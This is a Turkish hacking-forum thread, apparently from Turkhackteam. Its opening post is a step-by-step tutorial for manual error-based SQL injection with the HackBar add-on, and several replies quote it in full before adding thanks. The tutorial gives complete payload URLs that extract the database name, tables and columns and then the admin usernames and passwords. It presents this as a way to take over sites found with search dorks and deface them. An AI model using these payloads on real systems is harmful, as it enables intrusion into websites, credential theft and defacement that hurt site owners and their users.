Manuel SQL İnjection Nasıl Yapılır?

DDarkStyle

Katılımcı Üye
21 Eyl 2021
360
139
Dysnomia
Kurulumlar
Öncelikle buradan CyberFox Web Browser indiriyoruz.
Ardından buradan HackBar Pro eklentisini indiriyoruz. VirusTotal
Daha sonra açılan CyberFox tarayıcı ekranında sağ üst köşedeki ≡ işaretine tıklıyoruz ve buradan Add-ons seçeneğini seçiyoruz. Get Add-ons bölümüne, indirdiğimiz "hackbar-v2.6.xpi" dosyasını sürüklüyoruz.


SQL Açıklı Site Nasıl Bulunur?
SQL dorkları kullanarak rahatlıkla bulabiliriz dork paylaşımı yasak olduğundan dolayı örnek veremiyorum fakat forumda dork yazma ile alakalı birkaç konu bulunmakta.

SQL İnjection Nasıl yapılır?

Öncelikle indirdiğimiz CyberFox Web Browser'dan yeni sekme açıyoruz. Bulduğumuz SQL açıklı site www.thtforum.com/index.php?id=24 olarak var sayıyorum.



Bu görseldeki gibi HackBar'a yazıyorum ve siteye giriş yapıyoruz..
Ardından URL'nin sonuna " ' " koyarak hata vermesini sağlıyoruz yani;

www.thtforum.com/index.php?id=24'
şeklinde daha sonra URL'nin yanına bir "+" koyup HackBar'dan



Görseldeki gibi "Error\Double Query/ Error Based/ Get Database" tıklıyoruz. Sonra Boşluk bırakıp "-- +-" yazıyoruz. URL en son bu şekilde görünmeli;

www.thtforum.com/index.php?id=24'++AND(SELECT+1+FROM+(SELECT+COUNT(*),CONCAT((SELECT(SELECT+CONCAT(CAST(DATABASE()+AS+CHAR),0x7e))+FROM+INFORMATION_SCHEMA.TABLES+WHERE+table_schema=DATABASE()+LIMIT+0,1),FLOOR(RAND(0)*2))x+FROM+INFORMATION_SCHEMA.TABLES+GROUP+BY+x)a) -- +-

Sol taraftan Execute butonuna basıyoruz. Database karşımıza "Duplicate entry 'database_adi' for key 'group_key'" böyle geliyor Duplicate entry den sonra tırnak içerisinde olan database adımız bunu kopyalıyoruz ve herhangi bir not defterine saklıyoruz.

Şimdi ise tablolarımızı çekmek için
URL'mizde
php?id=24'+'Den sonrasını -- +-'Den öncesine kadar seçiyoruz ve siliyoruz. URL en son bu şekilde görünmeli;
www.thtforum.com/index.php?id=24'+ -- +-

Daha sonra php?id=24'+'nın sonuna



Görseldeki gibi "Error\Double Query/ Error Based/ Get Tables" tıklıyoruz. Bizden DataBase adı istiyor az önceki işlemde aldığımız DataBase adını buraya yapıştırıyoruz. URL en son bu şekilde görünmeli;
www.thtforum.com/index.php?id=24'++AND(SELECT+1+FROM+(SELECT+COUNT(*),CONCAT((SELECT(SELECT+CONCAT(CAST(table_name+AS+CHAR),0x7e))+FROM+INFORMATION_SCHEMA.TABLES+WHERE+table_schema=0x6461746162617365616469+LIMIT+0,1),FLOOR(RAND(0)*2))x+FROM+INFORMATION_SCHEMA.TABLES+GROUP+BY+x)a) -- +-


Execute butonuna basıyoruz ve URL'deki "LIMIT+0,1)" içerisindeki 0'ı giderek arttırıp execute diyoruz ve bize lazım olan tabloyu arıyoruz. İndex basmak istiyorsak bize admin bilgileri gerekiyor yani "users" tablosu buluyorum.

Ve tekrardan php?id=24'+'Den sonrasını -- +-'Den öncesine kadar seçiyoruz ve siliyoruz aynı işlemleri yapıyoruz yanlızca sonda "Error\Double Query / Error Based/ Get Columns" seçiyoruz. Bizden DataBase adı, tablo adı isteyecektir bunları da giriyoruz.
Tekrardan URL içindeki LİMİT'i arttırarak bize lazım olan kolonları arıyoruz bize "username, password" kolonları gerektiği için onları buluyorum.

php?id=24'+'Den sonrasını -- +-'Den öncesini seçip siliyoruz ve "Error\Double Query/ Error Based/ Get Data" diyoruz.
Bizden DataBase adı, tables adı, columns adı isteyecektir. columns adına öncelikle "username" yazıyoruz ve admin kullanıcı adlarını not defterimize yapıştırdıktan sonra aynı işlemi columns adına "password" yazarak admin şifresini not ediyoruz. Bu sayede SQL İnjection ile admin bilgilerine sahip olduk. Admin girişi sağlayarak siteye istediğimizi yapabiliriz :)
İyi forumlar..


 

Adanalıtrojan

Kıdemli Üye
25 Haz 2021
2,012
1,050
16
Konya Ovası Askeri Tesislerinde
Kurulumlar
Öncelikle buradan CyberFox Web Browser indiriyoruz.
Ardından buradan HackBar Pro eklentisini indiriyoruz. VirusTotal
Daha sonra açılan CyberFox tarayıcı ekranında sağ üst köşedeki ≡ işaretine tıklıyoruz ve buradan Add-ons seçeneğini seçiyoruz. Get Add-ons bölümüne, indirdiğimiz "hackbar-v2.6.xpi" dosyasını sürüklüyoruz.


SQL Açıklı Site Nasıl Bulunur?
SQL dorkları kullanarak rahatlıkla bulabiliriz dork paylaşımı yasak olduğundan dolayı örnek veremiyorum fakat forumda dork yazma ile alakalı birkaç konu bulunmakta.

SQL İnjection Nasıl yapılır?

Öncelikle indirdiğimiz CyberFox Web Browser'dan yeni sekme açıyoruz. Bulduğumuz SQL açıklı site www.thtforum.com/index.php?id=24 olarak var sayıyorum.



Bu görseldeki gibi HackBar'a yazıyorum ve siteye giriş yapıyoruz..
Ardından URL'nin sonuna " ' " koyarak hata vermesini sağlıyoruz yani;

www.thtforum.com/index.php?id=24'
şeklinde daha sonra URL'nin yanına bir "+" koyup HackBar'dan



Görseldeki gibi "Error\Double Query/ Error Based/ Get Database" tıklıyoruz. Sonra Boşluk bırakıp "-- +-" yazıyoruz. URL en son bu şekilde görünmeli;

www.thtforum.com/index.php?id=24'++AND(SELECT+1+FROM+(SELECT+COUNT(*),CONCAT((SELECT(SELECT+CONCAT(CAST(DATABASE()+AS+CHAR),0x7e))+FROM+INFORMATION_SCHEMA.TABLES+WHERE+table_schema=DATABASE()+LIMIT+0,1),FLOOR(RAND(0)*2))x+FROM+INFORMATION_SCHEMA.TABLES+GROUP+BY+x)a) -- +-

Sol taraftan Execute butonuna basıyoruz. Database karşımıza "Duplicate entry 'database_adi' for key 'group_key'" böyle geliyor Duplicate entry den sonra tırnak içerisinde olan database adımız bunu kopyalıyoruz ve herhangi bir not defterine saklıyoruz.

Şimdi ise tablolarımızı çekmek için
URL'mizde
php?id=24'+'Den sonrasını -- +-'Den öncesine kadar seçiyoruz ve siliyoruz. URL en son bu şekilde görünmeli;
www.thtforum.com/index.php?id=24'+ -- +-

Daha sonra php?id=24'+'nın sonuna



Görseldeki gibi "Error\Double Query/ Error Based/ Get Tables" tıklıyoruz. Bizden DataBase adı istiyor az önceki işlemde aldığımız DataBase adını buraya yapıştırıyoruz. URL en son bu şekilde görünmeli;
www.thtforum.com/index.php?id=24'++AND(SELECT+1+FROM+(SELECT+COUNT(*),CONCAT((SELECT(SELECT+CONCAT(CAST(table_name+AS+CHAR),0x7e))+FROM+INFORMATION_SCHEMA.TABLES+WHERE+table_schema=0x6461746162617365616469+LIMIT+0,1),FLOOR(RAND(0)*2))x+FROM+INFORMATION_SCHEMA.TABLES+GROUP+BY+x)a) -- +-


Execute butonuna basıyoruz ve URL'deki "LIMIT+0,1)" içerisindeki 0'ı giderek arttırıp execute diyoruz ve bize lazım olan tabloyu arıyoruz. İndex basmak istiyorsak bize admin bilgileri gerekiyor yani "users" tablosu buluyorum.

Ve tekrardan php?id=24'+'Den sonrasını -- +-'Den öncesine kadar seçiyoruz ve siliyoruz aynı işlemleri yapıyoruz yanlızca sonda "Error\Double Query / Error Based/ Get Columns" seçiyoruz. Bizden DataBase adı, tablo adı isteyecektir bunları da giriyoruz.
Tekrardan URL içindeki LİMİT'i arttırarak bize lazım olan kolonları arıyoruz bize "username, password" kolonları gerektiği için onları buluyorum.

php?id=24'+'Den sonrasını -- +-'Den öncesini seçip siliyoruz ve "Error\Double Query/ Error Based/ Get Data" diyoruz.
Bizden DataBase adı, tables adı, columns adı isteyecektir. columns adına öncelikle "username" yazıyoruz ve admin kullanıcı adlarını not defterimize yapıştırdıktan sonra aynı işlemi columns adına "password" yazarak admin şifresini not ediyoruz. Bu sayede SQL İnjection ile admin bilgilerine sahip olduk. Admin girişi sağlayarak siteye istediğimizi yapabiliriz :)
İyi forumlar..


Güzel konu ellerinie sağlık :)
 

TOZQOPARAN

Uzman üye
3 Nis 2021
1,258
678
Eski Anka Underground Tim
Kurulumlar
Öncelikle buradan CyberFox Web Browser indiriyoruz.
Ardından buradan HackBar Pro eklentisini indiriyoruz. VirusTotal
Daha sonra açılan CyberFox tarayıcı ekranında sağ üst köşedeki ≡ işaretine tıklıyoruz ve buradan Add-ons seçeneğini seçiyoruz. Get Add-ons bölümüne, indirdiğimiz "hackbar-v2.6.xpi" dosyasını sürüklüyoruz.


SQL Açıklı Site Nasıl Bulunur?
SQL dorkları kullanarak rahatlıkla bulabiliriz dork paylaşımı yasak olduğundan dolayı örnek veremiyorum fakat forumda dork yazma ile alakalı birkaç konu bulunmakta.

SQL İnjection Nasıl yapılır?

Öncelikle indirdiğimiz CyberFox Web Browser'dan yeni sekme açıyoruz. Bulduğumuz SQL açıklı site www.thtforum.com/index.php?id=24 olarak var sayıyorum.



Bu görseldeki gibi HackBar'a yazıyorum ve siteye giriş yapıyoruz..
Ardından URL'nin sonuna " ' " koyarak hata vermesini sağlıyoruz yani;

www.thtforum.com/index.php?id=24'
şeklinde daha sonra URL'nin yanına bir "+" koyup HackBar'dan



Görseldeki gibi "Error\Double Query/ Error Based/ Get Database" tıklıyoruz. Sonra Boşluk bırakıp "-- +-" yazıyoruz. URL en son bu şekilde görünmeli;

www.thtforum.com/index.php?id=24'++AND(SELECT+1+FROM+(SELECT+COUNT(*),CONCAT((SELECT(SELECT+CONCAT(CAST(DATABASE()+AS+CHAR),0x7e))+FROM+INFORMATION_SCHEMA.TABLES+WHERE+table_schema=DATABASE()+LIMIT+0,1),FLOOR(RAND(0)*2))x+FROM+INFORMATION_SCHEMA.TABLES+GROUP+BY+x)a) -- +-

Sol taraftan Execute butonuna basıyoruz. Database karşımıza "Duplicate entry 'database_adi' for key 'group_key'" böyle geliyor Duplicate entry den sonra tırnak içerisinde olan database adımız bunu kopyalıyoruz ve herhangi bir not defterine saklıyoruz.

Şimdi ise tablolarımızı çekmek için
URL'mizde
php?id=24'+'Den sonrasını -- +-'Den öncesine kadar seçiyoruz ve siliyoruz. URL en son bu şekilde görünmeli;
www.thtforum.com/index.php?id=24'+ -- +-

Daha sonra php?id=24'+'nın sonuna



Görseldeki gibi "Error\Double Query/ Error Based/ Get Tables" tıklıyoruz. Bizden DataBase adı istiyor az önceki işlemde aldığımız DataBase adını buraya yapıştırıyoruz. URL en son bu şekilde görünmeli;
www.thtforum.com/index.php?id=24'++AND(SELECT+1+FROM+(SELECT+COUNT(*),CONCAT((SELECT(SELECT+CONCAT(CAST(table_name+AS+CHAR),0x7e))+FROM+INFORMATION_SCHEMA.TABLES+WHERE+table_schema=0x6461746162617365616469+LIMIT+0,1),FLOOR(RAND(0)*2))x+FROM+INFORMATION_SCHEMA.TABLES+GROUP+BY+x)a) -- +-


Execute butonuna basıyoruz ve URL'deki "LIMIT+0,1)" içerisindeki 0'ı giderek arttırıp execute diyoruz ve bize lazım olan tabloyu arıyoruz. İndex basmak istiyorsak bize admin bilgileri gerekiyor yani "users" tablosu buluyorum.

Ve tekrardan php?id=24'+'Den sonrasını -- +-'Den öncesine kadar seçiyoruz ve siliyoruz aynı işlemleri yapıyoruz yanlızca sonda "Error\Double Query / Error Based/ Get Columns" seçiyoruz. Bizden DataBase adı, tablo adı isteyecektir bunları da giriyoruz.
Tekrardan URL içindeki LİMİT'i arttırarak bize lazım olan kolonları arıyoruz bize "username, password" kolonları gerektiği için onları buluyorum.

php?id=24'+'Den sonrasını -- +-'Den öncesini seçip siliyoruz ve "Error\Double Query/ Error Based/ Get Data" diyoruz.
Bizden DataBase adı, tables adı, columns adı isteyecektir. columns adına öncelikle "username" yazıyoruz ve admin kullanıcı adlarını not defterimize yapıştırdıktan sonra aynı işlemi columns adına "password" yazarak admin şifresini not ediyoruz. Bu sayede SQL İnjection ile admin bilgilerine sahip olduk. Admin girişi sağlayarak siteye istediğimizi yapabiliriz :)
İyi forumlar..


Elinize sağlık hocam
 

METE _HAN

Katılımcı Üye
16 Eyl 2021
895
565
root💀kali
Kurulumlar
Öncelikle buradan CyberFox Web Browser indiriyoruz.
Ardından buradan HackBar Pro eklentisini indiriyoruz. VirusTotal
Daha sonra açılan CyberFox tarayıcı ekranında sağ üst köşedeki ≡ işaretine tıklıyoruz ve buradan Add-ons seçeneğini seçiyoruz. Get Add-ons bölümüne, indirdiğimiz "hackbar-v2.6.xpi" dosyasını sürüklüyoruz.


SQL Açıklı Site Nasıl Bulunur?
SQL dorkları kullanarak rahatlıkla bulabiliriz dork paylaşımı yasak olduğundan dolayı örnek veremiyorum fakat forumda dork yazma ile alakalı birkaç konu bulunmakta.

SQL İnjection Nasıl yapılır?

Öncelikle indirdiğimiz CyberFox Web Browser'dan yeni sekme açıyoruz. Bulduğumuz SQL açıklı site www.thtforum.com/index.php?id=24 olarak var sayıyorum.



Bu görseldeki gibi HackBar'a yazıyorum ve siteye giriş yapıyoruz..
Ardından URL'nin sonuna " ' " koyarak hata vermesini sağlıyoruz yani;

www.thtforum.com/index.php?id=24'
şeklinde daha sonra URL'nin yanına bir "+" koyup HackBar'dan



Görseldeki gibi "Error\Double Query/ Error Based/ Get Database" tıklıyoruz. Sonra Boşluk bırakıp "-- +-" yazıyoruz. URL en son bu şekilde görünmeli;

www.thtforum.com/index.php?id=24'++AND(SELECT+1+FROM+(SELECT+COUNT(*),CONCAT((SELECT(SELECT+CONCAT(CAST(DATABASE()+AS+CHAR),0x7e))+FROM+INFORMATION_SCHEMA.TABLES+WHERE+table_schema=DATABASE()+LIMIT+0,1),FLOOR(RAND(0)*2))x+FROM+INFORMATION_SCHEMA.TABLES+GROUP+BY+x)a) -- +-

Sol taraftan Execute butonuna basıyoruz. Database karşımıza "Duplicate entry 'database_adi' for key 'group_key'" böyle geliyor Duplicate entry den sonra tırnak içerisinde olan database adımız bunu kopyalıyoruz ve herhangi bir not defterine saklıyoruz.

Şimdi ise tablolarımızı çekmek için
URL'mizde
php?id=24'+'Den sonrasını -- +-'Den öncesine kadar seçiyoruz ve siliyoruz. URL en son bu şekilde görünmeli;
www.thtforum.com/index.php?id=24'+ -- +-

Daha sonra php?id=24'+'nın sonuna



Görseldeki gibi "Error\Double Query/ Error Based/ Get Tables" tıklıyoruz. Bizden DataBase adı istiyor az önceki işlemde aldığımız DataBase adını buraya yapıştırıyoruz. URL en son bu şekilde görünmeli;
www.thtforum.com/index.php?id=24'++AND(SELECT+1+FROM+(SELECT+COUNT(*),CONCAT((SELECT(SELECT+CONCAT(CAST(table_name+AS+CHAR),0x7e))+FROM+INFORMATION_SCHEMA.TABLES+WHERE+table_schema=0x6461746162617365616469+LIMIT+0,1),FLOOR(RAND(0)*2))x+FROM+INFORMATION_SCHEMA.TABLES+GROUP+BY+x)a) -- +-


Execute butonuna basıyoruz ve URL'deki "LIMIT+0,1)" içerisindeki 0'ı giderek arttırıp execute diyoruz ve bize lazım olan tabloyu arıyoruz. İndex basmak istiyorsak bize admin bilgileri gerekiyor yani "users" tablosu buluyorum.

Ve tekrardan php?id=24'+'Den sonrasını -- +-'Den öncesine kadar seçiyoruz ve siliyoruz aynı işlemleri yapıyoruz yanlızca sonda "Error\Double Query / Error Based/ Get Columns" seçiyoruz. Bizden DataBase adı, tablo adı isteyecektir bunları da giriyoruz.
Tekrardan URL içindeki LİMİT'i arttırarak bize lazım olan kolonları arıyoruz bize "username, password" kolonları gerektiği için onları buluyorum.

php?id=24'+'Den sonrasını -- +-'Den öncesini seçip siliyoruz ve "Error\Double Query/ Error Based/ Get Data" diyoruz.
Bizden DataBase adı, tables adı, columns adı isteyecektir. columns adına öncelikle "username" yazıyoruz ve admin kullanıcı adlarını not defterimize yapıştırdıktan sonra aynı işlemi columns adına "password" yazarak admin şifresini not ediyoruz. Bu sayede SQL İnjection ile admin bilgilerine sahip olduk. Admin girişi sağlayarak siteye istediğimizi yapabiliriz :)
İyi forumlar..


ellerinize sağlık :)
 

CasPeRAB

Uzman üye
7 Kas 2021
1,146
461
TR❤AZ
Kurulumlar
Öncelikle buradan CyberFox Web Browser indiriyoruz.
Ardından buradan HackBar Pro eklentisini indiriyoruz. VirusTotal
Daha sonra açılan CyberFox tarayıcı ekranında sağ üst köşedeki ≡ işaretine tıklıyoruz ve buradan Add-ons seçeneğini seçiyoruz. Get Add-ons bölümüne, indirdiğimiz "hackbar-v2.6.xpi" dosyasını sürüklüyoruz.


SQL Açıklı Site Nasıl Bulunur?
SQL dorkları kullanarak rahatlıkla bulabiliriz dork paylaşımı yasak olduğundan dolayı örnek veremiyorum fakat forumda dork yazma ile alakalı birkaç konu bulunmakta.

SQL İnjection Nasıl yapılır?

Öncelikle indirdiğimiz CyberFox Web Browser'dan yeni sekme açıyoruz. Bulduğumuz SQL açıklı site www.thtforum.com/index.php?id=24 olarak var sayıyorum.



Bu görseldeki gibi HackBar'a yazıyorum ve siteye giriş yapıyoruz..
Ardından URL'nin sonuna " ' " koyarak hata vermesini sağlıyoruz yani;

www.thtforum.com/index.php?id=24'
şeklinde daha sonra URL'nin yanına bir "+" koyup HackBar'dan



Görseldeki gibi "Error\Double Query/ Error Based/ Get Database" tıklıyoruz. Sonra Boşluk bırakıp "-- +-" yazıyoruz. URL en son bu şekilde görünmeli;

www.thtforum.com/index.php?id=24'++AND(SELECT+1+FROM+(SELECT+COUNT(*),CONCAT((SELECT(SELECT+CONCAT(CAST(DATABASE()+AS+CHAR),0x7e))+FROM+INFORMATION_SCHEMA.TABLES+WHERE+table_schema=DATABASE()+LIMIT+0,1),FLOOR(RAND(0)*2))x+FROM+INFORMATION_SCHEMA.TABLES+GROUP+BY+x)a) -- +-

Sol taraftan Execute butonuna basıyoruz. Database karşımıza "Duplicate entry 'database_adi' for key 'group_key'" böyle geliyor Duplicate entry den sonra tırnak içerisinde olan database adımız bunu kopyalıyoruz ve herhangi bir not defterine saklıyoruz.

Şimdi ise tablolarımızı çekmek için
URL'mizde
php?id=24'+'Den sonrasını -- +-'Den öncesine kadar seçiyoruz ve siliyoruz. URL en son bu şekilde görünmeli;
www.thtforum.com/index.php?id=24'+ -- +-

Daha sonra php?id=24'+'nın sonuna



Görseldeki gibi "Error\Double Query/ Error Based/ Get Tables" tıklıyoruz. Bizden DataBase adı istiyor az önceki işlemde aldığımız DataBase adını buraya yapıştırıyoruz. URL en son bu şekilde görünmeli;
www.thtforum.com/index.php?id=24'++AND(SELECT+1+FROM+(SELECT+COUNT(*),CONCAT((SELECT(SELECT+CONCAT(CAST(table_name+AS+CHAR),0x7e))+FROM+INFORMATION_SCHEMA.TABLES+WHERE+table_schema=0x6461746162617365616469+LIMIT+0,1),FLOOR(RAND(0)*2))x+FROM+INFORMATION_SCHEMA.TABLES+GROUP+BY+x)a) -- +-


Execute butonuna basıyoruz ve URL'deki "LIMIT+0,1)" içerisindeki 0'ı giderek arttırıp execute diyoruz ve bize lazım olan tabloyu arıyoruz. İndex basmak istiyorsak bize admin bilgileri gerekiyor yani "users" tablosu buluyorum.

Ve tekrardan php?id=24'+'Den sonrasını -- +-'Den öncesine kadar seçiyoruz ve siliyoruz aynı işlemleri yapıyoruz yanlızca sonda "Error\Double Query / Error Based/ Get Columns" seçiyoruz. Bizden DataBase adı, tablo adı isteyecektir bunları da giriyoruz.
Tekrardan URL içindeki LİMİT'i arttırarak bize lazım olan kolonları arıyoruz bize "username, password" kolonları gerektiği için onları buluyorum.

php?id=24'+'Den sonrasını -- +-'Den öncesini seçip siliyoruz ve "Error\Double Query/ Error Based/ Get Data" diyoruz.
Bizden DataBase adı, tables adı, columns adı isteyecektir. columns adına öncelikle "username" yazıyoruz ve admin kullanıcı adlarını not defterimize yapıştırdıktan sonra aynı işlemi columns adına "password" yazarak admin şifresini not ediyoruz. Bu sayede SQL İnjection ile admin bilgilerine sahip olduk. Admin girişi sağlayarak siteye istediğimizi yapabiliriz :)
İyi forumlar..


Ellerine sağlık kardeşim
 

cyber knight

Katılımcı Üye
30 Ağu 2021
710
437
Root@Cyberknight
Kurulumlar
Öncelikle buradan CyberFox Web Browser indiriyoruz.
Ardından buradan HackBar Pro eklentisini indiriyoruz. VirusTotal
Daha sonra açılan CyberFox tarayıcı ekranında sağ üst köşedeki ≡ işaretine tıklıyoruz ve buradan Add-ons seçeneğini seçiyoruz. Get Add-ons bölümüne, indirdiğimiz "hackbar-v2.6.xpi" dosyasını sürüklüyoruz.


SQL Açıklı Site Nasıl Bulunur?
SQL dorkları kullanarak rahatlıkla bulabiliriz dork paylaşımı yasak olduğundan dolayı örnek veremiyorum fakat forumda dork yazma ile alakalı birkaç konu bulunmakta.

SQL İnjection Nasıl yapılır?

Öncelikle indirdiğimiz CyberFox Web Browser'dan yeni sekme açıyoruz. Bulduğumuz SQL açıklı site www.thtforum.com/index.php?id=24 olarak var sayıyorum.



Bu görseldeki gibi HackBar'a yazıyorum ve siteye giriş yapıyoruz..
Ardından URL'nin sonuna " ' " koyarak hata vermesini sağlıyoruz yani;

www.thtforum.com/index.php?id=24'
şeklinde daha sonra URL'nin yanına bir "+" koyup HackBar'dan



Görseldeki gibi "Error\Double Query/ Error Based/ Get Database" tıklıyoruz. Sonra Boşluk bırakıp "-- +-" yazıyoruz. URL en son bu şekilde görünmeli;

www.thtforum.com/index.php?id=24'++AND(SELECT+1+FROM+(SELECT+COUNT(*),CONCAT((SELECT(SELECT+CONCAT(CAST(DATABASE()+AS+CHAR),0x7e))+FROM+INFORMATION_SCHEMA.TABLES+WHERE+table_schema=DATABASE()+LIMIT+0,1),FLOOR(RAND(0)*2))x+FROM+INFORMATION_SCHEMA.TABLES+GROUP+BY+x)a) -- +-

Sol taraftan Execute butonuna basıyoruz. Database karşımıza "Duplicate entry 'database_adi' for key 'group_key'" böyle geliyor Duplicate entry den sonra tırnak içerisinde olan database adımız bunu kopyalıyoruz ve herhangi bir not defterine saklıyoruz.

Şimdi ise tablolarımızı çekmek için
URL'mizde
php?id=24'+'Den sonrasını -- +-'Den öncesine kadar seçiyoruz ve siliyoruz. URL en son bu şekilde görünmeli;
www.thtforum.com/index.php?id=24'+ -- +-

Daha sonra php?id=24'+'nın sonuna



Görseldeki gibi "Error\Double Query/ Error Based/ Get Tables" tıklıyoruz. Bizden DataBase adı istiyor az önceki işlemde aldığımız DataBase adını buraya yapıştırıyoruz. URL en son bu şekilde görünmeli;
www.thtforum.com/index.php?id=24'++AND(SELECT+1+FROM+(SELECT+COUNT(*),CONCAT((SELECT(SELECT+CONCAT(CAST(table_name+AS+CHAR),0x7e))+FROM+INFORMATION_SCHEMA.TABLES+WHERE+table_schema=0x6461746162617365616469+LIMIT+0,1),FLOOR(RAND(0)*2))x+FROM+INFORMATION_SCHEMA.TABLES+GROUP+BY+x)a) -- +-


Execute butonuna basıyoruz ve URL'deki "LIMIT+0,1)" içerisindeki 0'ı giderek arttırıp execute diyoruz ve bize lazım olan tabloyu arıyoruz. İndex basmak istiyorsak bize admin bilgileri gerekiyor yani "users" tablosu buluyorum.

Ve tekrardan php?id=24'+'Den sonrasını -- +-'Den öncesine kadar seçiyoruz ve siliyoruz aynı işlemleri yapıyoruz yanlızca sonda "Error\Double Query / Error Based/ Get Columns" seçiyoruz. Bizden DataBase adı, tablo adı isteyecektir bunları da giriyoruz.
Tekrardan URL içindeki LİMİT'i arttırarak bize lazım olan kolonları arıyoruz bize "username, password" kolonları gerektiği için onları buluyorum.

php?id=24'+'Den sonrasını -- +-'Den öncesini seçip siliyoruz ve "Error\Double Query/ Error Based/ Get Data" diyoruz.
Bizden DataBase adı, tables adı, columns adı isteyecektir. columns adına öncelikle "username" yazıyoruz ve admin kullanıcı adlarını not defterimize yapıştırdıktan sonra aynı işlemi columns adına "password" yazarak admin şifresini not ediyoruz. Bu sayede SQL İnjection ile admin bilgilerine sahip olduk. Admin girişi sağlayarak siteye istediğimizi yapabiliriz :)
İyi forumlar..


Merhaba elinize emeğinize sağlık.
iyi günler iyi forumlar dilerim.
 

Butcherb3y

Uzman üye
1 Eyl 2022
1,516
1,129
Anıtkabir
Kurulumlar
Öncelikle buradan CyberFox Web Browser indiriyoruz.
Ardından buradan HackBar Pro eklentisini indiriyoruz. VirusTotal
Daha sonra açılan CyberFox tarayıcı ekranında sağ üst köşedeki ≡ işaretine tıklıyoruz ve buradan Add-ons seçeneğini seçiyoruz. Get Add-ons bölümüne, indirdiğimiz "hackbar-v2.6.xpi" dosyasını sürüklüyoruz.


SQL Açıklı Site Nasıl Bulunur?
SQL dorkları kullanarak rahatlıkla bulabiliriz dork paylaşımı yasak olduğundan dolayı örnek veremiyorum fakat forumda dork yazma ile alakalı birkaç konu bulunmakta.

SQL İnjection Nasıl yapılır?

Öncelikle indirdiğimiz CyberFox Web Browser'dan yeni sekme açıyoruz. Bulduğumuz SQL açıklı site www.thtforum.com/index.php?id=24 olarak var sayıyorum.



Bu görseldeki gibi HackBar'a yazıyorum ve siteye giriş yapıyoruz..
Ardından URL'nin sonuna " ' " koyarak hata vermesini sağlıyoruz yani;

www.thtforum.com/index.php?id=24'
şeklinde daha sonra URL'nin yanına bir "+" koyup HackBar'dan



Görseldeki gibi "Error\Double Query/ Error Based/ Get Database" tıklıyoruz. Sonra Boşluk bırakıp "-- +-" yazıyoruz. URL en son bu şekilde görünmeli;

www.thtforum.com/index.php?id=24'++AND(SELECT+1+FROM+(SELECT+COUNT(*),CONCAT((SELECT(SELECT+CONCAT(CAST(DATABASE()+AS+CHAR),0x7e))+FROM+INFORMATION_SCHEMA.TABLES+WHERE+table_schema=DATABASE()+LIMIT+0,1),FLOOR(RAND(0)*2))x+FROM+INFORMATION_SCHEMA.TABLES+GROUP+BY+x)a) -- +-

Sol taraftan Execute butonuna basıyoruz. Database karşımıza "Duplicate entry 'database_adi' for key 'group_key'" böyle geliyor Duplicate entry den sonra tırnak içerisinde olan database adımız bunu kopyalıyoruz ve herhangi bir not defterine saklıyoruz.

Şimdi ise tablolarımızı çekmek için
URL'mizde
php?id=24'+'Den sonrasını -- +-'Den öncesine kadar seçiyoruz ve siliyoruz. URL en son bu şekilde görünmeli;
www.thtforum.com/index.php?id=24'+ -- +-

Daha sonra php?id=24'+'nın sonuna



Görseldeki gibi "Error\Double Query/ Error Based/ Get Tables" tıklıyoruz. Bizden DataBase adı istiyor az önceki işlemde aldığımız DataBase adını buraya yapıştırıyoruz. URL en son bu şekilde görünmeli;
www.thtforum.com/index.php?id=24'++AND(SELECT+1+FROM+(SELECT+COUNT(*),CONCAT((SELECT(SELECT+CONCAT(CAST(table_name+AS+CHAR),0x7e))+FROM+INFORMATION_SCHEMA.TABLES+WHERE+table_schema=0x6461746162617365616469+LIMIT+0,1),FLOOR(RAND(0)*2))x+FROM+INFORMATION_SCHEMA.TABLES+GROUP+BY+x)a) -- +-


Execute butonuna basıyoruz ve URL'deki "LIMIT+0,1)" içerisindeki 0'ı giderek arttırıp execute diyoruz ve bize lazım olan tabloyu arıyoruz. İndex basmak istiyorsak bize admin bilgileri gerekiyor yani "users" tablosu buluyorum.

Ve tekrardan php?id=24'+'Den sonrasını -- +-'Den öncesine kadar seçiyoruz ve siliyoruz aynı işlemleri yapıyoruz yanlızca sonda "Error\Double Query / Error Based/ Get Columns" seçiyoruz. Bizden DataBase adı, tablo adı isteyecektir bunları da giriyoruz.
Tekrardan URL içindeki LİMİT'i arttırarak bize lazım olan kolonları arıyoruz bize "username, password" kolonları gerektiği için onları buluyorum.

php?id=24'+'Den sonrasını -- +-'Den öncesini seçip siliyoruz ve "Error\Double Query/ Error Based/ Get Data" diyoruz.
Bizden DataBase adı, tables adı, columns adı isteyecektir. columns adına öncelikle "username" yazıyoruz ve admin kullanıcı adlarını not defterimize yapıştırdıktan sonra aynı işlemi columns adına "password" yazarak admin şifresini not ediyoruz. Bu sayede SQL İnjection ile admin bilgilerine sahip olduk. Admin girişi sağlayarak siteye istediğimizi yapabiliriz :)
İyi forumlar..


Elinize sağlık bir şey soracağım order by yaparken id değerinde illa tek tırnak olmak zorunda mı
 
Üst

Turkhackteam.org internet sitesi 5651 sayılı kanun’un 2. maddesinin 1. fıkrasının m) bendi ile aynı kanunun 5. maddesi kapsamında "Yer Sağlayıcı" konumundadır. İçerikler ön onay olmaksızın tamamen kullanıcılar tarafından oluşturulmaktadır. Turkhackteam.org; Yer sağlayıcı olarak, kullanıcılar tarafından oluşturulan içeriği ya da hukuka aykırı paylaşımı kontrol etmekle ya da araştırmakla yükümlü değildir. Türkhackteam saldırı timleri Türk sitelerine hiçbir zararlı faaliyette bulunmaz. Türkhackteam üyelerinin yaptığı bireysel hack faaliyetlerinden Türkhackteam sorumlu değildir. Sitelerinize Türkhackteam ismi kullanılarak hack faaliyetinde bulunulursa, site-sunucu erişim loglarından bu faaliyeti gerçekleştiren ip adresini tespit edip diğer kanıtlarla birlikte savcılığa suç duyurusunda bulununuz.